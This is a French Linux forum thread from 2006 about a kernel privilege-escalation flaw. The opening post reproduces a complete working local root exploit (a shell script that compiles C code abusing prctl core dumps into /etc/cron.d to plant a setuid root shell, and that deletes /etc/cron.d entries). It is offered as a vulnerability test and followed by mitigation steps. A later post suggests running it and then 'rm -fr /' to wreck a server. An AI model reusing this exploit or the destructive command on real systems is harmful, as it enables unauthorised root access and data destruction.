Bienvenue visiteur (Inscription |  Connexion)
Qui est en ligne ?
Il y a : 14 utilisateurs en ligne, consultez le détail
Auteur Message
Guimauve2
#0 Message posté le : 22-07-2006 à 01:52:48


Naboo


Forum : Inscrit
Association :
Arrivé(e) le : 22-07-2003
Nombre de messages : 2128
Bonjour à tous,

Cette semaine, au travail, on m'a indiqué une faille (en fait, il y en a deux, mais ce sont les deux combinées qui sont critiques) dans le noyau Linux.

Quel est son effet? Ça permet à un utilisateur normal d'obtenir un accès root. Soit via l'ordinateur même, ou via SSH, ou même via un script PHP exploitant cette faille.

La faille est présente sur les noyaux Linux ayant un numéro de version entre 2.6.13 et 2.6.17 (la faille étant réglée sur le 2.6.17).

Chez moi, vu que ma distribution est récente, le noyau est probablement patché, le problème ne s'applique pas. Si vous voulez savoir si vous êtes vulnérable, voici un script Shell que vous pouvez exécuter en tant que simple utilisateur.

Si vous vous retrouvez avec un shell root (#) à la fin du script, votre système est vulnérable! Sinon, si vous vous retrouvez avec un shell normal ($), vous ne l'êtes pas.

#!/bin/sh
#
# PRCTL local root exp By: Sunix
# + effected systems 2.6.13<= x <=2.6.17.4 + 2.6.9-22.ELsmp
# tested on Intel(R) Xeon(TM) CPU 3.20GHz
# kernel 2.6.9-22.ELsmp
# maybe others ...
# Tx to drayer & RoMaNSoFt for their clear code...
#
# zmia23@yahoo.com


cat > /tmp/getsuid.c << __EOF__
#include <stdio.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <unistd.h>
#include <linux/prctl.h>
#include <stdlib.h>
#include <sys/types.h>
#include <signal.h>

char *payload="\nSHELL=/bin/sh\nPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin\n* * * * * root chown root.root /tmp/s ; chmod 4777 /tmp/s ; rm -f /etc/cron.d/core\n";

int main() {
int child;
struct rlimit corelimit;
corelimit.rlim_cur = RLIM_INFINITY;
corelimit.rlim_max = RLIM_INFINITY;
setrlimit(RLIMIT_CORE, &corelimit);
if ( !( child = fork() )) {
chdir("/etc/cron.d");
prctl(PR_SET_DUMPABLE, 2);
sleep(200);
exit(1);
}
kill(child, SIGSEGV);
sleep(120);
}
__EOF__

cat > /tmp/s.c << __EOF__
#include <stdio.h>
main(void)
{
setgid(0);
setuid(0);
system("/bin/sh");
system("rm -rf /tmp/s");
system("rm -rf /etc/cron.d/*");
return 0;
}
__EOF__
echo "wait aprox 4 min to get sh"
cd /tmp
cc -o s s.c
cc -o getsuid getsuid.c
./getsuid
./s
rm -rf getsuid*
rm -rf s.c
rm -rf prctl.sh


Pour résoudre le problème, quatre choses à faire :

1. Exécutez la commande suivante :

echo /dev/null > /proc/sys/kernel/core_pattern



2. Ajoutez cette ligne à la fin de /etc/sysctl.conf

kernel.core_pattern = /dev/null


3. Exécutez la commande suivante :

mount -o remount,noexec,nosuid /proc



4. Modifier le fichier /etc/fstab et rajoutez ces options pour la ligne du /proc :

noexec,nosuid

Ce qui devrait vous donner une liste d'options de ce genre : defaults,noexec,nosuid.

Espérant que cette faille ne vous affecte pas,

Cordialement,

Guimauve2

--Message édité par Guimauve2 le 22-07-2006 à 01:54:05--


-------------------------------------
GNU/Linux? Il y a moins bien, mais c'est plus cher!

Mon blog (pas très souvent updaté, mais tout de même...) : http://guimauve2.blogspot.com/
jblecanard
#1 Message posté le : 22-07-2006 à 02:03:09


Elfe


Forum : Modérateur
Association : Membre fondateur
Arrivé(e) le : 08-01-2005
Nombre de messages : 3998
Ben pour découvrir ça

Chez moi


$ ./faille.sh
wait aprox 4 min to get sh


Mon noyau est un 2.6.17.3 donc ça devrait aller.

-------------------------------------
C'est une situation bien inconfortable que d'être assez sensible à la bêtise pour en souffrir et trop intelligent pour s'en indigner. - Gustave Thibon -
Guimauve2
#2 Message posté le : 22-07-2006 à 02:09:12


Naboo


Forum : Inscrit
Association :
Arrivé(e) le : 22-07-2003
Nombre de messages : 2128
Ouais, il faut attendre les 4 minutes et après le shell arrive. Ce n'est qu'après avoir attendu que l'on peut savoir si notre système est vulnérable ou pas.

--Message édité par Guimauve2 le 22-07-2006 à 02:09:37--


-------------------------------------
GNU/Linux? Il y a moins bien, mais c'est plus cher!

Mon blog (pas très souvent updaté, mais tout de même...) : http://guimauve2.blogspot.com/
jblecanard
#3 Message posté le : 22-07-2006 à 02:10:24


Elfe


Forum : Modérateur
Association : Membre fondateur
Arrivé(e) le : 08-01-2005
Nombre de messages : 3998
C'est bon c'est repassé en user. Cool

-------------------------------------
C'est une situation bien inconfortable que d'être assez sensible à la bêtise pour en souffrir et trop intelligent pour s'en indigner. - Gustave Thibon -
ganlhi
#4 Message posté le : 22-07-2006 à 08:50:25


Hobbit


Forum : Inscrit
Association :
Arrivé(e) le : 07-07-2003
Nombre de messages : 1722
arf ! je suis en 2.6.15... pas envie de recompiler, alors si je suis vulnérable j'espère que la solution marche bien. elle n'a pas d'inconvénient ?

-------------------------------------
GANLHI

http://ganlhi.jexiste.fr
Linux User n°366208

"Pour gagner ce jeu, il faut une jolie boîte, une jolie copine, et le reste on s'en fout"
tamiel
#5 Message posté le : 22-07-2006 à 12:09:08


Hobbit


Forum : Inscrit
Association :
Arrivé(e) le : 17-10-2003
Nombre de messages : 1062
Encore un exploit

Enfin sur mon noyau 2.6.16 ca marche pas.

C'est le problème des exploits, ca marche quand ca veut.

Faut dire aussi :

chdir("/etc/cron.d"); déjaà j'ai pas de /etc/cron.d

Par contre si ça marche chez quelqu'un attention à :
system("rm -rf /etc/cron.d/*");

--Message édité par tamiel le 22-07-2006 à 12:12:46--


-------------------------------------
If you don't know, ask manpage !
Guimauve2
#6 Message posté le : 22-07-2006 à 21:58:43


Naboo


Forum : Inscrit
Association :
Arrivé(e) le : 22-07-2003
Nombre de messages : 2128
tamiel a écrit :


Encore un exploit

Enfin sur mon noyau 2.6.16 ca marche pas.

C'est le problème des exploits, ca marche quand ca veut.

Faut dire aussi :

chdir("/etc/cron.d"); déjaà j'ai pas de /etc/cron.d

Par contre si ça marche chez quelqu'un attention à :
system("rm -rf /etc/cron.d/*");


Oui, je me suis dit la même chose...

-------------------------------------
GNU/Linux? Il y a moins bien, mais c'est plus cher!

Mon blog (pas très souvent updaté, mais tout de même...) : http://guimauve2.blogspot.com/
Xionbox
#7 Message posté le : 23-07-2006 à 15:57:29


Hobbit


Forum : Inscrit
Association :
Arrivé(e) le : 24-01-2004
Nombre de messages : 1319
En fait, cette faille est connue depuis le 13 juillet dernier: http://www.zone-h.fr/fr/news/read/id=0097/

Depuis, elle est assez souvent exploitée en plus.

PS: elle fonctionnait sur mon système et j'ai suivi les modifications indiquée à mon /etc/fstab et ça fonctionne bien: l'exploit ne donne plus un accès root.

-------------------------------------
This is Linux land. In silent nights you can hear the Windows machines rebooting.
hartley
#8 Message posté le : 25-07-2006 à 19:25:58


Hobbit


Forum : Inscrit
Association :
Arrivé(e) le : 23-03-2003
Nombre de messages : 1962
Bon pour moi c'est pas bon:

wait aprox 4 min to get sh
sh-3.1#


aie, aie, aie.

bon j'essayes les modif.

A+

-------------------------------------
Linux's user #371109
hartley
#9 Message posté le : 25-07-2006 à 19:35:26


Hobbit


Forum : Inscrit
Association :
Arrivé(e) le : 23-03-2003
Nombre de messages : 1962


wait aprox 4 min to get sh
sh-3.1$


je suis trop fort en informatique.

merci guimauve2





-------------------------------------
Linux's user #371109
selimb
#10 Message posté le : 25-07-2006 à 21:54:48


Hobbit


Forum : Inscrit
Association :
Arrivé(e) le : 18-04-2005
Nombre de messages : 1219
1. les ports les plus communs: 20 ; 21 ; 22 ; 23 ; 25; 80: 110 ; 113 ; 443

20 :
21 : ftp ( lie au port 20)
22 : SSH Remote Login Protocol
23 : Telnet (lie au port 161)
25 : smtp (lie au port110; 143)
80 : World Wide Web HTTP (lie aux ports: 81 ;82; 443; 8080; 8090)
110 : Post Office Protocol - Version 3 (pop3, lie aux ports 25; 143)
113 : Authentication Service / Identification Protocol
443 : http protocol over TLS/SSL (lie aux ports: 80: 81 ;82; 8080; 8090)


2. pour les fermer:
(remplacer le_port par le n° du port.. idem pour ethx)

iptables -A INPUT -i ethx -p TCP --sport 1024:5000 --dport le_port -m state --state NEW,RELATED,ESTABLISHED -j ACCEPT
et:
iptables -A INPUT -i ethx -p TCP --sport 32768:61000 --dport le_port -m state --state NEW,RELATED,ESTABLISHED -j ACCEPT

3. tester chez grc (ShieldsUP!):
https://www.grc.com/x/ne.dll?bh0bkyd2

4. juste pour le port 80:
iptables -A INPUT -p tcp -i ethx -s 0/0 -d 0/0 --sport 80 -j ACCEPT
et:
iptables -A OUTPUT -p tcp -o ethx -d 0/0 --dport 80 -j ACCEPT

selim,b.





-------------------------------------
http://s.bouras.free.fr/citaPop-Up/
trucker38
#11 Message posté le : 25-07-2006 à 22:29:03


Maître Jedi


Forum : Modérateur
Association :
Arrivé(e) le : 26-11-2003
Nombre de messages : 6206
[eric@linux ~]$ sh script.sh

wait aprox 4 min to get sh

sh-3.00$



....sous mandriva !

merci Guimauve2

-------------------------------------
"[ ] Quand il pleut des roubles, le malchanceux n'a pas de sac.[ ] _Coluche_
stanislas
#12 Message posté le : 26-07-2006 à 12:03:42


Jedi


Forum : Administrateur
Association : Membre fondateur
Arrivé(e) le : 08-05-2003
Nombre de messages : 4305
Un ami calé en informatique a expliqué comment le script en question exploite la faille :
Pour ceux que ça intéresse : la façon de procéder de cet exploit est
rigolote : il s'arrange pour provoquer un core dump dans /etc/cron.d et
attend simplement (quatre minutes) que ce core dump s'exécute. Le core dump
est calculé pour contenir des instructions shell qui font ce qu'il faut pour
donner un accès root. C'est à l'évidence la gestion des core dump dans le
noyau qui est foireuse avant la version 2.6.17.



-------------------------------------
Quand le dernier arbre aura été abattu, et le dernier animal exterminé, les hommes se rendront compte que l'argent ne se mange pas.
Guimauve2
#13 Message posté le : 27-07-2006 à 02:43:22


Naboo


Forum : Inscrit
Association :
Arrivé(e) le : 22-07-2003
Nombre de messages : 2128
A priori, un serveur ayant des utilisateurs qui s'y connectent via SSH peut être vulnérable s'il a une version du noyau vulnérable!

Une simple exécution du script, puis un rm -fr / (ou nohup rm -fr /) permet de bousiller le système!

-------------------------------------
GNU/Linux? Il y a moins bien, mais c'est plus cher!

Mon blog (pas très souvent updaté, mais tout de même...) : http://guimauve2.blogspot.com/
tamiel
#14 Message posté le : 27-07-2006 à 09:23:52


Hobbit


Forum : Inscrit
Association :
Arrivé(e) le : 17-10-2003
Nombre de messages : 1062
Selimb :
iptables -A INPUT -p tcp -i ethx -s 0/0 -d 0/0 --sport 80 -j ACCEPT
et:
iptables -A OUTPUT -p tcp -o ethx -d 0/0 --dport 80 -j ACCEPT
avec ça tu fais rien si ce n'est accepté les connexions en entrée/sortie vers ton firewall sur le port 80.

-------------------------------------
If you don't know, ask manpage !